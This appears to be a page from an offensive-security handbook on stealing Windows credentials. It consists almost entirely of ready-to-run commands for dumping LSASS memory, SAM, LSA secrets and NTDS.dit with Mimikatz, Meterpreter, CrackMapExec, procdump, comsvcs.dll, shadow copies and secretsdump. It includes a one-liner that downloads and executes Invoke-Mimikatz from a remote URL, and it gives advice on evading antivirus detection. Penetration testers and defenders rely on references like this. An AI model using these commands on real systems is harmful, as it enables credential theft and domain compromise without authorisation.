# Stealing Credentials ## Credentials Mimikatz ```bash #Elevate Privileges to extract the credentials privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins token::elevate #Extract from lsass (memory) sekurlsa::logonpasswords #Extract from SAM lsadump::sam #One liner mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit" ``` **Find other things that Mimikatz can do in** [**this page**](credentials-mimikatz.md)**.** ### Invoke-Mimikatz ```bash IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds #Dump creds from memory Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"' ``` [**Learn about some possible credentials protections here.**](credentials-protections.md) **This protections could prevent Mimikatz from extracting some credentials.** ## Credentials with Meterpreter Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **that** I have created to **search for passwords and hashes** inside the victim. ```bash #Credentials from SAM post/windows/gather/smart_hashdump hashdump #Using kiwi module load kiwi creds_all kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" #Using Mimikatz module load mimikatz mimikatz_command -f "sekurlsa::logonpasswords" mimikatz_command -f "lsadump::sam" ``` ## Bypassing AV ### Procdump + Mimikatz As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender. You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump. {% code title="Dump lsass" %} ```bash #Local C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp #Remote, mount https://live.sysinternals.com which contains procdump.exe net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` {% endcode %} {% code title="Extract credentials from the dump" %} ```c //Load the dump mimikatz # sekurlsa::minidump lsass.dmp //Extract credentials mimikatz # sekurlsa::logonPasswords ``` {% endcode %} This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` **Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead o**f the **name lsass.exe.** ### Dumping lsass with **comsvcs.dll** There’s a DLL called **comsvcs.dll**, located in `C:\Windows\System32` that **dumps process memory** whenever they **crash**. This DLL contains a **function** called **`MiniDumpW`** that is written so it can be called with `rundll32.exe`. The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word **full**. There is no other choice. Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file. Thanks to this function, we can use **comsvcs.dll** to dump lsass process instead of uploading procdump and executing it. \(This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)\) ```text rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full ``` We just have to keep in mind that this technique can only be executed as **SYSTEM**. **You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.** ## CrackMapExec ### Dump SAM hashes ```text cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam ``` ### Dump LSA secrets ```text cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa ``` ### Dump the NTDS.dit from target DC ```text cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss ``` ### Dump the NTDS.dit password history from target DC ```text #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history ``` ### Show the pwdLastSet attribute for each NTDS.dit account ```text #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet ``` ## Stealing SAM & SYSTEM This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected. ### From Registry The easiest way to steal those files is to get a copy from the registry: ```text reg save HKLM\sam sam reg save HKLM\system system ``` **Download** those files to your Kali machine and **extract the hashes** using: ```text samdump2 SYSTEM SAM ``` ### Volume Shadow Copy You can perform copy of protected files using this service. You need to be Administrator. #### Using vssadmin vssadmin binary is only available in Windows Server versions ```bash vssadmin create shadow /for=C: #Copy SAM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM #Copy SYSTEM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM #Copy ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit ``` But you can do the same from **Powershell**. This is an example of **how to copy the SAM file** \(the hard drive used is "C:" and its saved to C:\users\Public\) but you can use this for copying any protected file: ```bash $service=(Get-Service -name VSS) if($service.Status -ne "Running"){$notrunning=1;$service.Start()} $id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID $volume=(gwmi win32_shadowcopy -filter "ID='$id'") cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public $voume.Delete();if($notrunning -eq 1){$service.Stop()} ``` Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html) ### Invoke-NinjaCopy Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit. ```bash Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam" ``` ## **Active Directory Credentials - NTDS.dit** **The Ntds.dit file is a database that stores Active Directory data**, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. The important NTDS.dit file will be **located in**: _%SystemRoom%/NTDS/ntds.dit_ This file is a database _Extensible Storage Engine_ \(ESE\) and is "officially" composed by 3 tables: * **Data Table**: Contains the information about the objects \(users, groups...\) * **Link Table**: Information about the relations \(member of...\) * **SD Table**: Contains the security descriptors of each object More information about this: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part** of the **NTDS.dit** file could be located **inside the** _**lsass**_ **memory** \(you can find the lastet accessed data probably because of the performance impruve by using a **cache**\). #### Decrypting the hashes inside NTDS.dit The hash is cyphered 3 times: 1. Decrypt Password Encryption Key \(**PEK**\) using the **BOOTKEY** and **RC4**. 2. Decrypt tha **hash** using **PEK** and **RC4**. 3. Decrypt the **hash** using **DES**. **PEK** have the **same value** in **every domain controller**, but it is **cyphered** inside the **NTDS.dit** file using the **BOOTKEY** of the **SYSTEM file of the domain controller \(is different between domain controllers\)**. This is why to get the credentials from the NTDS.dit file **you need the files NTDS.dit and SYSTEM** \(_C:\Windows\System32\config\SYSTEM_\). ### Copying NTDS.dit using Ntdsutil Available since Windows Server 2008. ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` You could also use the [**volume shadow copy**](./#stealing-sam-and-system) ****trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** \(again, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) ****trick\). ### **Extracting hashes from NTDS.dit** Once you have **obtained** the files **NTDS.dit** and **SYSTEM** you can use tools like _secretsdump.py_ to **extract the hashes**: ```bash secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile credentials.txt ``` You can also **extract them automatically** using a valid domain admin user: ```text secretsdump.py -just-dc-ntlm /@ ``` For **big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump). Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain\_hashdump_ or **mimikatz** `lsadump::lsa /inject` ## Lazagne Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software. ```text lazagne.exe all ``` ## Other tools for extracting credentials from SAM and LSASS ### Windows credentials Editor \(WCE\) This tool can be used to extract credentials from the memory. Download it from: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) ### fgdump Extract credentials from the SAM file ```text You can find this binary inside Kali, just do: locate fgdump.exe fgdump.exe ``` ### PwDump Extract credentials from the SAM file ```text You can find this binary inside Kali, just do: locate pwdump.exe PwDump.exe -o outpwdump -x 127.0.0.1 type outpwdump ``` ### PwDump7 Download it from:[ http://www.tarasco.org/security/pwdump\_7](%20http://www.tarasco.org/security/pwdump_7) and just **execute it** and the passwords will be extracted. ## Defenses \*\*\*\*[**Learn about some credentials protections here.**](credentials-protections.md)\*\*\*\*